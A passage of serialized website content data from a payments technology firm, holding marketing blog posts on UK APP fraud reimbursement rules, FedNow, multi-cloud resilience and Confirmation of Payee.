",[],"rich_text$c72efbd1-62c9-43d8-9187-166ac684a5cd",{"id":15019,"uid":15020,"type":3743,"data":15021},"alzy6hEAACcAUWI5","why-psps-must-act-now-on-psr-requirements",{"title":15022,"excerpt":15023,"card_image":15024,"published_date":15029,"reading_time":418,"tag":5813,"dek":5,"featured_image":15030,"about_form3":15036,"client_about_heading":5,"client_about_body":15037,"author_name":5,"author_title":5,"author_photo":15038,"author_bio":15039,"author_linkedin":15040,"slices":15041,"meta_title":15022,"meta_description":15023},"Why PSPs must act now on PSR requirements","The UK is positioning itself as a world leader when it comes to tackling the scourge of authorised push payment (APP) fraud. Future victims of this type of crime will now be much more likely to get their money back with the UK’s Payment Systems Regulator (PSR) introducing new requirements for banks and payment services providers (PSPs) in an attempt to reduce rates of APP fraud.",{"dimensions":15025,"alt":15022,"copyright":5,"url":15026,"id":15027,"edit":15028},{"width":412,"height":412},"\u002F_prismic-media\u002Ffa7587e6e4135760-R_a61cyTyPXmBMiv_why-psps-must-act-now-on-psr-re.png","R_a61cyTyPXmBMiv",{"x":398,"y":398,"zoom":399,"background":400},"2023-10-16",{"dimensions":15031,"alt":15032,"copyright":5,"url":15033,"id":15034,"edit":15035},{"width":501,"height":646},"PSR requirements","\u002F_prismic-media\u002F0994a8a48e45372b-8U-uuJIWadAVj1qY_ef351dce-eb4f-41f5-8956-4a2c127.png","8U-uuJIWadAVj1qY",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[15042,15061,15083,15107,15129],{"variation":437,"version":438,"items":15043,"primary":15044,"id":15060,"slice_type":468,"slice_label":5},[],{"body":15045},[15046,15051,15054,15057],{"type":25,"text":15023,"spans":15047},[15048],{"start":3049,"end":9192,"type":489,"data":15049},{"link_type":491,"url":15050,"target":493},"https:\u002F\u002Fwww.psr.org.uk\u002Fnews-and-updates\u002Flatest-news\u002Fnews\u002Fpsr-takes-first-step-in-implementing-new-app-scam-reimbursement-requirements\u002F",{"type":25,"text":15052,"spans":15053},"When the new PSR regulation comes into place, it will mandate that victims of APP fraud, where the payment is made to another UK Bank Account through FPS or CHAPS – provided that they have not been grossly negligent – will be reimbursed. ",[],{"type":25,"text":15055,"spans":15056},"Whether banks and PSPs agree with it or not, this legislative change is coming, meaning that they’re going to have to reimburse victims of APP fraud – even if the individual technically isn’t actually their customer. ",[],{"type":25,"text":15058,"spans":15059},"It’s critical for all banks and PSPs to ensure they take adequate steps to start to implement the new reimbursement requirement ahead of the regulation coming into effect in October 2024, based upon the current consultation from the PSR.",[],"rich_text$ec5d13cd-5db5-407e-9e2d-1502469dbf7e",{"variation":437,"version":438,"items":15062,"primary":15063,"id":15082,"slice_type":468,"slice_label":5},[],{"body":15064},[15065,15068,15071,15074,15077],{"type":988,"text":15066,"spans":15067,"direction":445},"How banks and PSPs should prepare for the new requirements",[],{"type":25,"text":15069,"spans":15070,"direction":445},"The first step for banks and PSPs is to ensure the regulatory changes are high on the agenda in the boardroom. The C-Suite must understand exactly what’s happening and when so they can take timely and decisive action. This isn’t just because there will be increased financial liability that affects the bottom line; it’s also a matter of reputation.",[],{"type":25,"text":15072,"spans":15073,"direction":445},"When the regulations come into effect, banks and PSPs will have to publish their inbound and outbound fraud rates. Therefore, institutions that don’t get their house in order now are likely to find themselves in the headlines for all the wrong reasons when these fraud rates are made public. ",[],{"type":25,"text":15075,"spans":15076,"direction":445},"If there is to be any progress in the fight against all types of fraud, there needs to be much closer data collaboration and data sharing between financial institutions. Data sharing is a highly-regulated area, with GDPR and the Data Protection Act 2018 meaning banks are tightly restricted in terms of the customer data they can share with third parties.",[],{"type":25,"text":15078,"spans":15079,"direction":445},"However, the Economic Crime Bill that has been introduced by the current parliament stipulates that prevention of economic crime is now an acceptable reason for the sharing of data. ",[15080],{"start":1951,"end":5489,"type":489,"data":15081},{"link_type":491,"url":3966,"target":493},"rich_text$c956caf8-e24a-40ed-9a14-4c0845fb9f2e",{"variation":437,"version":438,"items":15084,"primary":15085,"id":15106,"slice_type":468,"slice_label":5},[],{"body":15086},[15087,15090,15093,15100,15103],{"type":988,"text":15088,"spans":15089,"direction":445},"What PSPs need to look for in a technology provider",[],{"type":25,"text":15091,"spans":15092,"direction":445},"Ideally PSPs should look for a technology partner that can enable them to safely share payment data with a consortium of other PSPs to better protect them from attempted fraud. ",[],{"type":25,"text":15094,"spans":15095,"direction":445},"Banks need a tech partner that is able to carry out full screening on the recipient of a transaction. This might sound simple, but the mechanics are really quite difficult. With an inbound payment, in the Faster Payments System network, receiving banks have 10 seconds to accept a payment. ",[15096],{"start":15097,"end":2833,"type":489,"data":15098},205,{"link_type":491,"url":15099,"target":493},"https:\u002F\u002Fwww.wearepay.uk\u002Fwhat-we-do\u002Fpayment-systems\u002Ffaster-payment-system\u002F",{"type":25,"text":15101,"spans":15102,"direction":445},"Banks must find a partner that can help them identify the fraud risk of inbound payments and interrupt the automated process, outside of the scheme stipulated timings, that takes place to credit the money to the customer’s account should there be any suspicions, without disrupting the flow of legitimate payments.",[],{"type":25,"text":15104,"spans":15105,"direction":445},"Even financial institutions that are not a direct participant member of the Faster Payment System will need to be talking to their sponsor or Indirect Access Partner (IAP) about how the regulations will affect them. ",[],"rich_text$ac671743-c3cd-47f7-9464-2e7d8501569c",{"variation":437,"version":438,"items":15108,"primary":15109,"id":15128,"slice_type":468,"slice_label":5},[],{"body":15110},[15111,15114,15117,15122],{"type":988,"text":15112,"spans":15113,"direction":445},"Why the rest of the world should be watching the UK right now",[],{"type":25,"text":15115,"spans":15116,"direction":445},"From a global perspective, there is a lot that other markets can learn from the new PSR requirements and how they are applied. ",[],{"type":25,"text":15118,"spans":15119,"direction":445},"On 28th June, the European Commission (EC) put forward proposals to update the second iteration of its Payment Services Directive (PSD2) with PSD3. One of the central pillars of PSD3 will be to combat and mitigate payment fraud. The EC has broken this down into four areas that very closely reflect the work that is already underway in the UK.",[15120],{"start":2769,"end":846,"type":489,"data":15121},{"link_type":491,"url":10312,"target":493},{"type":25,"text":15123,"spans":15124,"direction":445},"In essence, the EC wants to enforce a system equivalent to the UK’s Confirmation of Payee (CoP) solution across all payments; encourage cooperation between banks and PSPs through information sharing; give consumers a right of refund if they are a victim of fraud. ",[15125],{"start":9232,"end":9315,"type":489,"data":15126},{"link_type":491,"url":15127,"target":493},"https:\u002F\u002Fwww.ukfinance.org.uk\u002Fpolicy-and-guidance\u002Fguidance\u002Fconfirmation-payee","rich_text$c66dc01c-b83c-41a1-8eb8-b320bab1cbc2",{"variation":437,"version":438,"items":15130,"primary":15131,"id":15142,"slice_type":468,"slice_label":5},[],{"body":15132},[15133,15136,15139],{"type":988,"text":15134,"spans":15135,"direction":445},"Takeaway: new PSR requirements can play a big part in reducing APP fraud",[],{"type":25,"text":15137,"spans":15138,"direction":445},"The major thrust of the new requirements is about protecting customers, not directly reducing fraud. But the emphasis is now very much on PSPs to put protections in place that address the causes of the problems rather than the symptoms. ",[],{"type":25,"text":15140,"spans":15141,"direction":445},"While putting better fraud protections in place and partaking in industry-wide efforts to combat fraud will involve an initial cost, in the long term it will keep compensation costs to a minimum and improve both brand perception and Customer Experience for banks and PSPs.",[],"rich_text$8e792b33-eb59-4298-a85d-4dc0edf7e090",{"id":15144,"uid":15145,"type":3743,"data":15146},"alzy9REAACcAUWJR","whitepaper-advancing-payment-innovation",{"title":15147,"excerpt":15148,"card_image":15149,"published_date":15155,"reading_time":506,"tag":3992,"dek":5,"featured_image":15156,"about_form3":15157,"client_about_heading":5,"client_about_body":15158,"author_name":5,"author_title":5,"author_photo":15159,"author_bio":15160,"author_linkedin":15161,"slices":15162,"meta_title":15147,"meta_description":15148},"Whitepaper - Advancing payment innovation: How platform-centric architecture is speeding up the pace of change","How does a platform-centric payment approach provide a robust foundation for modernisation in light of the complexities and demands of the modern payments landscape.",{"dimensions":15150,"alt":15151,"copyright":5,"url":15152,"id":15153,"edit":15154},{"width":412,"height":412},"Advancing payment innovation: How platform-centric architecture is speeding up the pace of change","\u002F_prismic-media\u002F97e60cc255d9b24b-dTVIB8xdDXsqcTRn_whitepaper-advancing-payment-in.png","dTVIB8xdDXsqcTRn",{"x":398,"y":398,"zoom":399,"background":400},"2023-09-19",{},[],[],{},[],{"link_type":434},[15163,15171],{"variation":437,"version":438,"items":15164,"primary":15165,"id":15170,"slice_type":468,"slice_label":5},[],{"body":15166},[15167],{"type":25,"text":15168,"spans":15169},"The complexities and demands of the modern payments landscape have necessitated a step change in approach for financial institutions, especially those with legacy architectures. Financial institutions must adopt forward-thinking approaches, and the platform-centric payment approach provides a robust foundation for modernisation. In our latest whitepaper produced in collaboration with Thought Machine and Publicis Sapient we look at how these platform-centric architectures allow for greater flexibility and control, scalability, cost and operational efficiency, greater ecosystem support, and more rapid innovation – all essential for established financial institutions positioning foundational payment capabilities for modern demands.\n\nDownload now to unlock these insights",[],"rich_text$186fe1a1-076a-4cb3-a31a-f22f37dc3e92",{"variation":437,"version":527,"items":15172,"primary":15173,"id":15187,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":15174,"body":15175,"cta_label":5,"cta_link":15176,"aside_type":533,"aside_image":15177,"aside_video":15182,"aside_video_poster":15183,"aside_video_reduced_motion":15184,"aside_video_url":5,"aside_embed":15185,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":15186,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":15178,"alt":5,"copyright":5,"url":15179,"id":15180,"edit":15181},{"width":501,"height":501},"\u002F_prismic-media\u002F8f309fbc8fb59fbc-52vjREWvZ5Ds2rBM_6771feed-fac1-4338-a530-cd88578.png","52vjREWvZ5Ds2rBM",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$132a27c8-c879-4ff4-a9f0-2651997fedae",{"id":15189,"uid":15190,"type":3743,"data":15191},"alzzHREAACwAUWKq","fednow-is-approaching",{"title":15192,"excerpt":15193,"card_image":15194,"published_date":15199,"reading_time":1355,"tag":729,"dek":15193,"featured_image":15200,"about_form3":15205,"client_about_heading":5,"client_about_body":15206,"author_name":5,"author_title":5,"author_photo":15207,"author_bio":15208,"author_linkedin":15209,"slices":15210,"meta_title":15192,"meta_description":15193},"FedNow is Approaching. What Happens Next?","The discussions and preparations are all but over. The Fed’s instant payment service, FedNow, goes live this month, seeking to fill the gaps in the existing real-time payment infrastructure in the US.",{"dimensions":15195,"alt":15192,"copyright":5,"url":15196,"id":15197,"edit":15198},{"width":412,"height":412},"\u002F_prismic-media\u002Fbf2d9a3665361827-Tqpl0dDT32Oca11R_fednow-is-approaching.jpg","Tqpl0dDT32Oca11R",{"x":398,"y":398,"zoom":399,"background":650},"2023-07-12",{"dimensions":15201,"alt":5,"copyright":5,"url":15202,"id":15203,"edit":15204},{"width":501,"height":646},"\u002F_prismic-media\u002F912e326b498859e0-EEZSYNOneNNk3kK1_f7956250-4d4b-4cf4-aab7-1764ef7.jpg","EEZSYNOneNNk3kK1",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[15211,15230,15244,15261,15272,15283,15297],{"variation":437,"version":438,"items":15212,"primary":15213,"id":15229,"slice_type":468,"slice_label":5},[],{"body":15214},[15215,15218,15223,15226],{"type":988,"text":15216,"spans":15217,"direction":445},"Why is FedNow important for financial institutions?",[],{"type":25,"text":15219,"spans":15220,"direction":445},"Of all the other payment rails in the US, the only existing true instant payment service currently in operation is The Clearing House’s RTP. FedNow adds another platform to this list, as a real-time gross settlement system that moves money between banks with instant availability. ",[15221],{"start":9222,"end":9287,"type":489,"data":15222},{"link_type":491,"url":4108,"target":493},{"type":25,"text":15224,"spans":15225,"direction":445},"Of course, there are services such as Zelle that feel like an instant payment platform to consumers, but these have limitations. Zelle might be connected to more than 1,700 institutions, but it doesn't involve any real time settlement between banks, so there are limits that banks set on these transfers such as dollar amount, volume and use case.  ",[],{"type":25,"text":15227,"spans":15228,"direction":445},"Banks obviously have to protect themselves, and without any settlement between banks for Zelle payments they could potentially be out of pocket by vast amounts if this activity wasn't strictly limited. The knock-on impact this could have on the wider economy would also be very severe. FedNow, like RTP, has a much higher limit – as the settlement happens in real time – so banks can use it to provide a much more comprehensive instant payment service to customers, reducing the risk. ",[],"rich_text$c93a2ddd-a845-4c2a-8359-641e14e2bdf0",{"variation":437,"version":438,"items":15231,"primary":15232,"id":15243,"slice_type":468,"slice_label":5},[],{"body":15233},[15234,15237,15240],{"type":988,"text":15235,"spans":15236,"direction":445},"What’s the best way to connect to FedNow?",[],{"type":25,"text":15238,"spans":15239,"direction":445},"The whole purpose of FedNow and instant payments for that matter is to provide a 24\u002F7 365, always-on service for customers. In this day and age, consumers are used to being able to get what they want instantly, and they expect the same from their banking services. ",[],{"type":25,"text":15241,"spans":15242,"direction":445},"Therefore, any outages are going to be problematic. With banks using cloud-based systems to process instant payments due to their flexibility and scalability, they could find themselves with a major headache if their cloud provider suddenly has an outage or is compromised for some other reason. This is why we'd recommend moving to a multi-cloud model – it offers superior resiliency compared to using a single cloud, virtually eliminating the possibility of any down time, and will make things like system maintenance a lot simpler too. ",[],"rich_text$244777c0-df97-46e4-80d9-47e38eaf2d7c",{"variation":437,"version":438,"items":15245,"primary":15246,"id":15260,"slice_type":468,"slice_label":5},[],{"body":15247},[15248,15251,15254],{"type":988,"text":15249,"spans":15250,"direction":445},"Understanding the difference between FedNow and RTP. Is FedNow a replacement?",[],{"type":25,"text":15252,"spans":15253,"direction":445},"They aren't entirely like-for-like and FedNow certainly isn't going to be a replacement for RTP. The two services will sit alongside each other. FedNow owes a great deal to RTP, which has effectively pioneered the instant payment market in the US since launching in November 2017. RTP has already built a network of some 300 banks, reaching 65% of all US direct deposit accounts, and set the standards by which FedNow will be judged.  ",[],{"type":25,"text":15255,"spans":15256,"direction":445},"As such, RTP has been one of the forces behind educational efforts for the US banking industry, participating in industry workgroups such as The Faster Payments Council. This workgroup has produced a great deal of helpful and insightful materials for banks that want to prepare to join the instant payment revolution. ",[15257],{"start":11737,"end":3044,"type":489,"data":15258},{"link_type":491,"url":15259,"target":493},"https:\u002F\u002Ffasterpaymentscouncil.org\u002F","rich_text$ed195f0d-8edc-4e61-9eda-4e5987d612be",{"variation":437,"version":438,"items":15262,"primary":15263,"id":15271,"slice_type":468,"slice_label":5},[],{"body":15264},[15265,15268],{"type":988,"text":15266,"spans":15267,"direction":445},"What does FedNow mean for financial services in the US?",[],{"type":25,"text":15269,"spans":15270,"direction":445},"The arrival of FedNow is likely to spark a wave of innovation in the fintech market. With two consumer-focused instant payment platforms in the shape of FedNow and RTP, there's a chance for an ecosystem to develop around these payment rails. All sorts of innovative services will pop up, taking advantage of the real-time nature of RTP and FedNow, in the way that an ecosystem developed around the ACH networks. It's effectively an open space to go and build for fintechs.",[],"rich_text$e19e8bc6-0999-4811-82d4-43f400a260b2",{"variation":437,"version":438,"items":15273,"primary":15274,"id":15282,"slice_type":468,"slice_label":5},[],{"body":15275},[15276,15279],{"type":988,"text":15277,"spans":15278,"direction":445},"Will FedNow spark a rise in fraud?",[],{"type":25,"text":15280,"spans":15281,"direction":445},"As fraudulent activity evolves over time, and new platforms will inevitably find themselves the target of criminals, banks need to continue to educate themselves about fraud prevention. The landscape is constantly shifting, so finding a partner that can build fraud checking systems into your instant payment services is a must. Our fraud prevention solutions use machine learning technologies to identify and stop scams, constantly refining its approach as the threats change. ",[],"rich_text$31574d86-db4d-40b1-906b-f8d4d974e3cf",{"variation":437,"version":438,"items":15284,"primary":15285,"id":15296,"slice_type":468,"slice_label":5},[],{"body":15286},[15287,15290,15293],{"type":988,"text":15288,"spans":15289,"direction":445},"How can banks prepare to connect to FedNow?",[],{"type":25,"text":15291,"spans":15292,"direction":445},"Banks need to consider a number of questions very carefully. How will you handle exception processing? What are your liquidity needs and how might connecting to FedNow impact them? It would be very easy to fall into the trap of just assuming that you could use the same processes and procedures as for Fedwire or ACH. FedNow is an entirely different proposition and will require a new approach. ",[],{"type":25,"text":15294,"spans":15295,"direction":445},"The technical burden of connecting to FedNow is high. It's not as simple as maintaining a connection to Fedwire or ACH and the messaging ISO standard is different. The best way forward for banks that want to connect to FedNow is to look to a third-party service provider such as Form3 that has deep experience of connecting to real-time payment services in the US and other markets. Building these connections for yourself will involve a massive investment in terms of time and money, so finding a partner that can do all this for you – and maintain the connections over time – makes much more sense. ",[],"rich_text$25258043-8251-401a-b3a6-6abec4518188",{"variation":437,"version":438,"items":15298,"primary":15299,"id":15310,"slice_type":468,"slice_label":5},[],{"body":15300},[15301,15304,15307],{"type":988,"text":15302,"spans":15303,"direction":445},"I’m not yet set up for FedNow – am I too late?",[],{"type":25,"text":15305,"spans":15306,"direction":445},"Banks that aren't yet set up for FedNow shouldn't be too concerned at this stage. It's likely that adoption will be slow initially. However, when FedNow reaches the tipping point – in terms of the numbers of banks connected and consumers utilizing FedNow-enabled payment services – you don't want to miss the boat. ",[],{"type":25,"text":15308,"spans":15309,"direction":445},"It will take time to implement connections to FedNow, so the time to act – if you haven't already – is now. Initiate conversations with service providers that can help you connect to FedNow and begin putting your plans in place. If you're not ready to move onto FedNow and your customers are, you can bet your bottom dollar that these customers will be moving to a competitor. ",[],"rich_text$abd5eebf-01d8-4543-8235-d189c04f1d0d",{"id":15312,"uid":15313,"type":3743,"data":15314},"alzymBEAACsAUWF3","how-multi-cloud-supports-operational-resilience-in-payments",{"title":15315,"excerpt":15316,"card_image":15317,"published_date":15322,"reading_time":418,"tag":3751,"dek":15323,"featured_image":15324,"about_form3":15329,"client_about_heading":5,"client_about_body":15330,"author_name":5,"author_title":5,"author_photo":15331,"author_bio":15332,"author_linkedin":15333,"slices":15334,"meta_title":15315,"meta_description":15316},"How multi-cloud supports operational resilience in payments","In today’s 24\u002F7, always-on business culture, consumers demand that critical payments infrastructure is fit-for-purpose. We live in a world where we expect banking transactions to be seamless and fast, especially as we balance the management of both our professional and private lives on the move. If, unfortunately, payments systems do go down, this can have a big impact on consumers, whether that means they are unable to pay their mortgage, buy the groceries or deal with even more extreme situations, like paying for hospital bills when abroad.",{"dimensions":15318,"alt":15315,"copyright":5,"url":15319,"id":15320,"edit":15321},{"width":412,"height":412},"\u002F_prismic-media\u002Ff8d7922be57b7f22-9WH24g7i8EKms06c_how-multi-cloud-supports-operat.svg","9WH24g7i8EKms06c",{"x":398,"y":398,"zoom":399,"background":650},"2024-11-05","In today’s 24\u002F7, always-on business culture, consumers demand that critical payments infrastructure is fit-for-purpose. We live in a world where we expect banking transactions to be seamless and fast, especially as we balance the management of both our professional and private lives on the move.  If, unfortunately, payments systems do go down, this can have a big impact on consumers, whether that means they are unable to pay their mortgage, buy the groceries or deal with even more extreme situations, like paying for hospital bills when abroad.  Fortunately, banks and payment service providers (PSPs) have safeguards in place so that breakdowns in payment processing doesn’t occur too often. Key to this is ensuring that payments infrastructure has strong operational resilience measures - the ability for banks and PSPs to provide a service to their customers, despite or in the event or adverse incidents such as an outage of a technology solution. It's making sure that banks can cope with all different types of disaster recovery scenarios - and remain operational for their customers.  So what in turn supports operational resiliency in payments to avoid such outages? We would argue that fundamental to this is using a multi-cloud solution for payments, as this has many benefits including better resiliency and the flexibility to adapt to a changing payments regulation landscape.",{"dimensions":15325,"alt":5,"copyright":5,"url":15326,"id":15327,"edit":15328},{"width":423,"height":424},"\u002F_prismic-media\u002F5d41ebffad503940-ZQWmrMKvDRFCQmLr_ZyNmY68jQArT0DlL.png","ZQWmrMKvDRFCQmLr",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[15335,15370,15384,15403],{"variation":437,"version":438,"items":15336,"primary":15337,"id":15369,"slice_type":468,"slice_label":5},[],{"body":15338},[15339,15342,15345,15348,15355,15362,15366],{"type":988,"text":15340,"spans":15341,"direction":445},"How does multi-cloud support operational resilience in payments?",[],{"type":25,"text":15343,"spans":15344,"direction":445},"A key benefit for banks and PSPs using multi-cloud is better resilience in redundancy and failover. If for example you're using multiple cloud providers, such as Amazon Web Services, Google Cloud Platform or Microsoft Azure,1 an outage experienced by one cloud provider shouldn't impact the overall service – so banks can meet their high-level operational resilience targets.   ",[],{"type":25,"text":15346,"spans":15347,"direction":445},"Secondly, the issue of concentration risk is mitigated with a multi-cloud strategy. You're not relying on a single cloud vendor; you're not relying or depend on their organization, their technical failures, or their exposure to vulnerabilities. In short, multi-cloud can survive a cloud region failure or full cloud provider outage, while also overcoming the concentration risk of having a high volume of payments going through just one provider.  ",[],{"type":25,"text":15349,"spans":15350,"direction":445},"In addition, multi-cloud is very useful in tackling risks associated with using critical third party support for payments, as highlighted by the Financial Conduct Authority’s (FCA) CP23\u002F30 paper on operational resilience. Should there be any third party problems, multi-cloud offers banks and PSPs an alternative desktop exit strategy, as they are able to exit from and replace a cloud provider while maintaining service.  ",[15351],{"start":15352,"end":3314,"type":489,"data":15353},181,{"link_type":491,"url":15354,"target":493},"https:\u002F\u002Fwww.fca.org.uk\u002Fpublications\u002Fconsultation-papers\u002Fcp23-30-operational-resilience-critical-third-parties-uk-financial-sector",{"type":25,"text":15356,"spans":15357,"direction":445},"Linked to third-party support, a multi-cloud approach to payments can also handle current and future industry changes regulations such as FedNow, NPA, and SEPA developments.",[15358,15359],{"start":3964,"end":8997,"type":765},{"start":15360,"end":15361,"type":765},129,172,{"type":25,"text":15363,"spans":15364,"direction":445},"As well as the benefits listed above, a multi-cloud approach leads to a better level of service for consumers customers, as payment processing becomes more resilient, should any outages occur, minimizing real world impact.",[15365],{"start":3964,"end":12974,"type":765},{"type":25,"text":15367,"spans":15368,"direction":445},"Finally, multi-cloud forces users to adopt an agnostic approach to architecture. When you go down the multi-cloud route, you tend not to use vendor technology that's non-transferable, so that does allow you to make better business decisions; you can move vendor without having to completely rearchitect your application, saving time and money.  ",[],"rich_text$5dbb97bf-5996-4250-93e4-05c016c206ba",{"variation":437,"version":438,"items":15371,"primary":15372,"id":15383,"slice_type":468,"slice_label":5},[],{"body":15373},[15374,15377,15380],{"type":988,"text":15375,"spans":15376,"direction":445},"How should banks implement a multi-cloud set up to support operational resilience in payments?",[],{"type":25,"text":15378,"spans":15379,"direction":445},"The key advice here is to research and find a technology partner that offers a fully-managed multi-cloud service. Banks and PSPs need to be confident that they've found a tech provider with a proven pedigree in the market. ",[],{"type":25,"text":15381,"spans":15382,"direction":445},"In addition, we would argue that cloud-agnostic technologies are useful in supporting operational resilience in payments, as this approach avoids a hard reliance on proprietary cloud-specific services. This removes the dependency on any single cloud provider. Key benefits of this approach are firstly that the same code base can run in and across cloud providers, reducing the overhead of maintaining and updating services. Secondly, this approach reduces the complexity of exiting any one of the cloud providers and replacing it with another. ",[],"rich_text$aad21501-cd9c-4074-a84f-24bc8a6cf5cb",{"variation":437,"version":438,"items":15385,"primary":15386,"id":15402,"slice_type":468,"slice_label":5},[],{"body":15387},[15388,15391,15399],{"type":988,"text":15389,"spans":15390,"direction":445},"What’s the future of multi-cloud in operational resilience in payments?",[],{"type":25,"text":15392,"spans":15393,"direction":445},"With a combination of payment regulators wanting to make it easier for financial institutions to offer real-time payments, and customers and society expecting this, the demand for resilient payments processing will only continue to increase. This was evidenced recently by Pay.UK data stating that Single Immediate Payments increased by 14.2% in volume this year compared to 2023. ",[15394],{"start":15395,"end":15396,"type":489,"data":15397},293,380,{"link_type":491,"url":15398,"target":493},"https:\u002F\u002Fwww.wearepay.uk\u002Fwp-content\u002Fuploads\u002F2024\u002F06\u002FQuarterly-Statistical-Report-2024-Q1.pdf",{"type":25,"text":15400,"spans":15401,"direction":445},"Key to handling this increase in payments is to have a fully-managed cloud service that is resilient, robust and ready for new regulations. Fundamental to achieving this challenge will be payments processed by better operational resilience – and the obvious way to boost this activity is via a multi-cloud solution.  ",[],"rich_text$bbc7506c-f0b0-48d1-a0dd-a88a6e793e86",{"variation":437,"version":438,"items":15404,"primary":15405,"id":15417,"slice_type":468,"slice_label":5},[],{"body":15406},[15407],{"type":25,"text":15408,"spans":15409,"direction":445},"This is a joint blog post from Mehret Habteab, SVP, Products and Solutions at Visa Europe and Eimear O'Connor, Chief Product Officer at Form3.",[15410,15411,15414],{"start":398,"end":13494,"type":765},{"start":690,"end":9211,"type":489,"data":15412},{"link_type":491,"url":15413,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmehrethabteab?miniProfileUrn=urn%3Ali%3Afs_miniProfile%3AACoAAAcd1JwBxFp7NIptiWhDcJCus9UdZFkKqvU",{"start":6779,"end":12974,"type":489,"data":15415},{"link_type":491,"url":15416,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Feimear-o-connor-9010451?miniProfileUrn=urn%3Ali%3Afs_miniProfile%3AACoAAAAu-tEBVrpePV-Yz79q3UE8CesN7d0T1cU","rich_text$1eebfb92-3438-42e2-98bd-fde6e20c55b3",{"id":15419,"uid":15420,"type":3743,"data":15421},"alzyrhEAACsAUWGs","navigating-the-digital-shift",{"title":15422,"excerpt":15423,"card_image":15424,"published_date":15429,"reading_time":506,"tag":3992,"dek":15430,"featured_image":15431,"about_form3":15436,"client_about_heading":5,"client_about_body":15437,"author_name":5,"author_title":5,"author_photo":15438,"author_bio":15439,"author_linkedin":15440,"slices":15441,"meta_title":15442,"meta_description":15423},"Navigating the digital shift","It’s no secret that the banking landscape is being transformed by a digital shift that is seeing banks rethink their strategies and harness digital technology to improve their propositions. So what’s driving this shift?",{"dimensions":15425,"alt":15422,"copyright":5,"url":15426,"id":15427,"edit":15428},{"width":412,"height":412},"\u002F_prismic-media\u002Faf5e958bf159d72b-gRuizzMn_rNJGoTF_navigating-the-digital-shift.pn","gRuizzMn_rNJGoTF",{"x":398,"y":398,"zoom":399,"background":400},"2024-04-10","The banking landscape is evolving fast, with a digital shift driven by changing customer expectations. Our whitepaper, in collaboration with Visa, explores how banks can stay relevant, retain customers, speed up market entry, and gain a competitive edge by embracing new technologies and cloud-native solutions.Download now to unlock invaluable insights into technology-centric solutions to meet the demands of the modern economy.",{"dimensions":15432,"alt":5,"copyright":5,"url":15433,"id":15434,"edit":15435},{"width":501,"height":501},"\u002F_prismic-media\u002Fc93e3993a337a7d6-Fvax-UxW5h4M1zuu_829fb8bf-3c09-4137-9909-2c8c0ac.png","Fvax-UxW5h4M1zuu",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[],"Navigating the digital shift: The essential move towards technology-centric solutions to meet the demands of the modern economy",{"id":15444,"uid":15445,"type":3743,"data":15446},"alzzAhEAACwAUWJw","enhancing-payment-security-in-the-uk-the-role-of-confirmation-of-payee",{"title":15447,"excerpt":15448,"card_image":15449,"published_date":15453,"reading_time":418,"tag":3751,"dek":15448,"featured_image":15454,"about_form3":15459,"client_about_heading":5,"client_about_body":15460,"author_name":5,"author_title":5,"author_photo":15461,"author_bio":15462,"author_linkedin":15463,"slices":15464,"meta_title":15447,"meta_description":15448},"Enhancing Payment Security in the UK: The Role of Confirmation of Payee","The UK’s financial landscape is continually pioneering robust solutions to fortify payment safety, ensuring the integrity of transactions made by everyday consumers. This commitment to securing transactions has been further amplified with the introduction of Pay.UK's Confirmation of Payee (CoP) initiative.",{"dimensions":15450,"alt":15447,"copyright":5,"url":15451,"id":8358,"edit":15452},{"width":412,"height":412},"\u002F_prismic-media\u002Fc4bc1cab3fda62d5-0EWrt0mKYTNCfDdA_enhancing-payment-security-in-t.png",{"x":398,"y":398,"zoom":399,"background":400},"2023-09-07",{"dimensions":15455,"alt":5,"copyright":5,"url":15456,"id":15457,"edit":15458},{"width":501,"height":646},"\u002F_prismic-media\u002F0ae245171c49cef5-JxjgmaeBUvNFzxFc_ef351dce-eb4f-41f5-8956-4a2c127.png","JxjgmaeBUvNFzxFc",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[15465,15476,15490,15507,15539,15574],{"variation":437,"version":438,"items":15466,"primary":15467,"id":15475,"slice_type":468,"slice_label":5},[],{"body":15468},[15469,15472],{"type":988,"text":15470,"spans":15471,"direction":445},"Navigating Billions Safely",[],{"type":25,"text":15473,"spans":15474,"direction":445},"Every day, billions of pounds traverse the UK's payment infrastructure. Initiatives such as CoP ensure these transactions occur seamlessly, underscoring the importance of advanced security measures in the current financial ecosystem.",[],"rich_text$29241637-4db5-4961-8101-ad261b5bffe3",{"variation":437,"version":438,"items":15477,"primary":15478,"id":15489,"slice_type":468,"slice_label":5},[],{"body":15479},[15480,15483,15486],{"type":988,"text":15481,"spans":15482,"direction":445},"Understanding Confirmation of Payee (CoP)",[],{"type":25,"text":15484,"spans":15485,"direction":445},"Launched in 2020, the Confirmation of Payee (CoP) system stands as an added layer of protection, allowing payers to authenticate the recipients of their transactions prior to execution. Its integration spans across a wide array of UK banks, building societies, and payment service providers, encapsulating more than 98% of total payments. At its core, CoP's mission is twofold: to robustly address Authorized Push Payment (APP) fraud and to eliminate misrouted payments.",[],{"type":25,"text":15487,"spans":15488,"direction":445},"Before the advent of CoP, users entrusted their Payment Service Provider with essential recipient information, such as the bank sort code, account number, and name, which was then used to facilitate the transaction. However, this system had an inherent vulnerability: it lacked a method for the payer to validate the recipient's name. CoP fills this gap by granting payers the capability to verify the account holder's name, significantly diminishing the risk of fraud.",[],"rich_text$aab106d6-590a-427f-b486-9d227b20b3ea",{"variation":437,"version":438,"items":15491,"primary":15492,"id":15506,"slice_type":468,"slice_label":5},[],{"body":15493},[15494,15497,15500,15503],{"type":988,"text":15495,"spans":15496,"direction":445},"The PSR Mandate Demystified",[],{"type":25,"text":15498,"spans":15499,"direction":445},"The CoP mandate, unveiled by the Payment Systems Regulator (PSR), is a strategic countermeasure against payment fraud. It mandates that banks and payment service providers (encompassing services like Faster Payments, BACS, 